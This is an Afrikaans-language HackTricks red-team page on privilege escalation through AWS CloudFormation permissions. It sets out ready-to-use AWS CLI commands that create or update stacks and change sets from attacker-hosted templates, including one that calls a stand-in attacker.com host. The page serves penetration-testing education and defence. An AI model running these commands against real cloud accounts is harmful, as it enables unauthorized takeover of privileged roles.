AWS - Cloudformation Privesc

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

cloudformation

Vir meer inligting oor cloudformation, kyk:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

'n Aanvaller met hierdie toestemmings kan voorregte verhoog deur 'n CloudFormation-stapel met 'n aangepaste sjabloon te skep, wat op hul bediener gehuisves is, om aksies uit te voer onder die toestemmings van 'n gespesifiseerde rol:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

In die volgende bladsy het jy 'n uitbuiting voorbeeld met die bykomende toestemming cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Potensiële Impak: Privesc na die gespesifiseerde cloudformation-diensrol.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

In hierdie geval kan jy 'n bestaande cloudformation-stapel misbruik om dit te opdateer en voorregte te verhoog soos in die vorige scenario:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Die cloudformation:SetStackPolicy toestemming kan gebruik word om jouself UpdateStack toestemming te gee oor 'n stapel en die aanval uit te voer.

Potensiële Impak: Privesc na die gespesifiseerde cloudformation-diensrol.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

As jy hierdie toestemming het, maar geen iam:PassRole nie, kan jy steeds die gebruikte stapels opdateer en die IAM-rolle wat reeds aangeheg is misbruik. Kyk na die vorige afdeling vir 'n voorbeeld van 'n aanval (moenie enige rol in die opdateering aandui nie).

Die cloudformation:SetStackPolicy toestemming kan gebruik word om jouself UpdateStack toestemming te gee oor 'n stapel en die aanval uit te voer.

Potensiële Impak: Privesc na die reeds aangehegde cloudformation-diensrol.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

'n Aanvaller met toestemmings om 'n rol oor te dra en 'n ChangeSet te skep en uit te voer kan 'n nuwe cloudformation-stapel skep/opdateer en die cloudformation-diensrolle misbruik, net soos met die CreateStack of UpdateStack.

Die volgende aanval is 'n variasie van die CreateStack een wat die ChangeSet-toestemmings gebruik om 'n stapel te skep.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Die cloudformation:SetStackPolicy toestemming kan gebruik word om jouself ChangeSet toestemmings oor 'n stapel te gee en die aanval uit te voer.

Potensiële Impak: Privesc na cloudformation-diensrolle.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Dit is soos die vorige metode sonder om IAM-rolle oor te dra, so jy kan net reeds gehegte rolle misbruik, verander net die parameter:

--change-set-type UPDATE

Potensiële Impak: Privesc na die cloudformation-diensrol wat reeds geheg is.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

'n Aanvaller kan hierdie toestemmings misbruik om StackSets te skep/opdateer om willekeurige cloudformation-rolle te misbruik.

Potensiële Impak: Privesc na cloudformation-diensrolle.

cloudformation:UpdateStackSet

'n Aanvaller kan hierdie toestemming misbruik sonder die passRole-toestemming om StackSets op te dateer om die gehegde cloudformation-rolle te misbruik.

Potensiële Impak: Privesc na die gehegde cloudformation-rolle.

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated